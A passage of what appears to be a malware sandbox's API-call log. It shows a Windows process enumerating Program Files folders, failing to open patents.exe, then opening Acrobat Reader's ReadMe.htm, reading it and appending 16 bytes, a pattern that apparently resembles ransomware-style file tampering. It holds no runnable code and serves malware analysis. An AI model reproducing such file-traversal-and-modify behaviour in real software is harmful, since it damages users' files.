hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a42d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0068.832] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a9e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0068.832] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x41a05b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x41a05b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0068.832] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0068.832] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35ea10) returned 1 [0068.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35e9d0) returned 1 [0068.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35e0a0) returned 1 [0068.833] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe", nBufferLength=0x105, lpBuffer=0x1f35db40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe", lpFilePart=0x0) returned 0x1c [0068.833] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x1f35ddc0 | out: lpFindFileData=0x1f35ddc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x4665f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4665f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.833] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35dd80 | out: lpFindFileData=0x1f35dd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x4665f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4665f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.833] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35dd80 | out: lpFindFileData=0x1f35dd80*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat Reader DC", cAlternateFileName="ACROBA~1")) returned 1 [0068.834] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35dd80 | out: lpFindFileData=0x1f35dd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0e2c60, ftCreationTime.dwHighDateTime=0x1d56961, ftLastAccessTime.dwLowDateTime=0x3f1f37c0, ftLastAccessTime.dwHighDateTime=0x1d5559b, ftLastWriteTime.dwLowDateTime=0x3f1f37c0, ftLastWriteTime.dwHighDateTime=0x1d5559b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="patents.exe", cAlternateFileName="")) returned 1 [0068.834] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35dd80 | out: lpFindFileData=0x1f35dd80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0068.834] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35dfe0) returned 1 [0068.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35dfa0) returned 1 [0068.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35e0a0) returned 1 [0068.834] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe", nBufferLength=0x105, lpBuffer=0x1f35db40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe", lpFilePart=0x0) returned 0x1c [0068.834] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x1f35ddc0 | out: lpFindFileData=0x1f35ddc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x4665f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4665f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.834] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35dd80 | out: lpFindFileData=0x1f35dd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x4665f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4665f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.834] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35dd80 | out: lpFindFileData=0x1f35dd80*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat Reader DC", cAlternateFileName="ACROBA~1")) returned 1 [0068.834] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35dd80 | out: lpFindFileData=0x1f35dd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0e2c60, ftCreationTime.dwHighDateTime=0x1d56961, ftLastAccessTime.dwLowDateTime=0x3f1f37c0, ftLastAccessTime.dwHighDateTime=0x1d5559b, ftLastWriteTime.dwLowDateTime=0x3f1f37c0, ftLastWriteTime.dwHighDateTime=0x1d5559b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="patents.exe", cAlternateFileName="")) returned 1 [0068.835] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35dd80 | out: lpFindFileData=0x1f35dd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0e2c60, ftCreationTime.dwHighDateTime=0x1d56961, ftLastAccessTime.dwLowDateTime=0x3f1f37c0, ftLastAccessTime.dwHighDateTime=0x1d5559b, ftLastWriteTime.dwLowDateTime=0x3f1f37c0, ftLastWriteTime.dwHighDateTime=0x1d5559b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="patents.exe", cAlternateFileName="")) returned 0 [0068.835] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35dfe0) returned 1 [0068.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35dfa0) returned 1 [0068.835] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\patents.exe", nBufferLength=0x105, lpBuffer=0x1f35d980, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\patents.exe", lpFilePart=0x0) returned 0x28 [0068.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35de50) returned 1 [0068.835] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\patents.exe" (normalized: "c:\\program files (x86)\\adobe\\patents.exe"), fInfoLevelId=0x0, lpFileInformation=0x30afc88 | out: lpFileInformation=0x30afc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0e2c60, ftCreationTime.dwHighDateTime=0x1d56961, ftLastAccessTime.dwLowDateTime=0x3f1f37c0, ftLastAccessTime.dwHighDateTime=0x1d5559b, ftLastWriteTime.dwLowDateTime=0x3f1f37c0, ftLastWriteTime.dwHighDateTime=0x1d5559b, nFileSizeHigh=0x0, nFileSizeLow=0x13200)) returned 1 [0068.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35de10) returned 1 [0068.835] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\patents.exe", nBufferLength=0x105, lpBuffer=0x1f35d830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\patents.exe", lpFilePart=0x0) returned 0x28 [0068.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35dd50) returned 1 [0068.835] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\patents.exe" (normalized: "c:\\program files (x86)\\adobe\\patents.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0068.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35a740) returned 1 [0068.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35d670) returned 1 [0068.840] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC", nBufferLength=0x105, lpBuffer=0x1f35d110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC", lpFilePart=0x0) returned 0x2e [0068.840] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\*", lpFindFileData=0x1f35d390 | out: lpFindFileData=0x1f35d390*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.840] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35d350 | out: lpFindFileData=0x1f35d350*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.841] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35d350 | out: lpFindFileData=0x1f35d350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Esl", cAlternateFileName="")) returned 1 [0068.841] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35d350 | out: lpFindFileData=0x1f35d350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader", cAlternateFileName="")) returned 1 [0068.841] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35d350 | out: lpFindFileData=0x1f35d350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x40f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe.htm", cAlternateFileName="")) returned 1 [0068.841] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35d350 | out: lpFindFileData=0x1f35d350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 1 [0068.841] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35d350 | out: lpFindFileData=0x1f35d350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 1 [0068.841] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35d350 | out: lpFindFileData=0x1f35d350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 0 [0068.842] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35d5b0) returned 1 [0068.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35d570) returned 1 [0068.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35d670) returned 1 [0068.842] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC", nBufferLength=0x105, lpBuffer=0x1f35d110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC", lpFilePart=0x0) returned 0x2e [0068.842] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\*", lpFindFileData=0x1f35d390 | out: lpFindFileData=0x1f35d390*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.842] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35d350 | out: lpFindFileData=0x1f35d350*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.842] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35d350 | out: lpFindFileData=0x1f35d350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Esl", cAlternateFileName="")) returned 1 [0068.842] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35d350 | out: lpFindFileData=0x1f35d350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader", cAlternateFileName="")) returned 1 [0068.842] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35d350 | out: lpFindFileData=0x1f35d350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x40f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe.htm", cAlternateFileName="")) returned 1 [0068.843] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35d350 | out: lpFindFileData=0x1f35d350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 1 [0068.843] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35d350 | out: lpFindFileData=0x1f35d350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 1 [0068.843] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35d350 | out: lpFindFileData=0x1f35d350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0068.843] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35d5b0) returned 1 [0068.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35d570) returned 1 [0068.843] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm", nBufferLength=0x105, lpBuffer=0x1f35cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm", lpFilePart=0x0) returned 0x39 [0068.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35d420) returned 1 [0068.843] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\readme.htm"), fInfoLevelId=0x0, lpFileInformation=0x30bf338 | out: lpFileInformation=0x30bf338*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x40f9)) returned 1 [0068.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35d3e0) returned 1 [0068.844] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm", nBufferLength=0x105, lpBuffer=0x1f35ce00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm", lpFilePart=0x0) returned 0x39 [0068.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35d320) returned 1 [0068.844] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0068.844] GetFileType (hFile=0x760) returned 0x1 [0068.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35d290) returned 1 [0068.844] GetFileType (hFile=0x760) returned 0x1 [0068.844] SetFilePointer (in: hFile=0x760, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35d478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35d478*=0) returned 0x1000 [0068.844] ReadFile (in: hFile=0x760, lpBuffer=0x30bf710, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35d448, lpOverlapped=0x0 | out: lpBuffer=0x30bf710*, lpNumberOfBytesRead=0x1f35d448*=0x1000, lpOverlapped=0x0) returned 1 [0068.846] CloseHandle (hObject=0x760) returned 1 [0068.846] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm", nBufferLength=0x105, lpBuffer=0x1f35ce00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm", lpFilePart=0x0) returned 0x39 [0068.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35d320) returned 1 [0068.846] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0068.846] GetFileType (hFile=0x760) returned 0x1 [0068.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35d290) returned 1 [0068.846] GetFileType (hFile=0x760) returned 0x1 [0068.846] SetFilePointer (in: hFile=0x760, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35d478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35d478*=0) returned 0x40f9 [0068.846] WriteFile (in: hFile=0x760, lpBuffer=0x30c0988*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35d368, lpOverlapped=0x0 | out: lpBuffer=0x30c0988*, lpNumberOfBytesWritten=0x1f35d368*=0x10, lpOverlapped=0x0) returned 1 [0068.847] CloseHandle (hObject=0x760) returned 1 [0068.849] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm", nBufferLength=0x105, lpBuffer=0x1f35ce00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm", lpFilePart=0x0) returned 0x39 [0068.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35d320) returned 1 [0068.849] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0068.849] GetFileType (hFile=0x760) returned 0x1 [0068.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35d290) returned 1 [0068.849] GetFileType (hFile=0x760) returned 0x1 [0068.849] ReadFile (in: hFile=0x760, lpBuffer=0x30c2c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35d3f8, lpOverlapped=0x0 | out: lpBuffer=0x30c2c28*, lpNumberOfBytesRead=0x1f35d3f8*=0x1000, lpOverlapped=0x0) returned 1 [0069.508] CloseHandle (hObject=0x760) returned 1 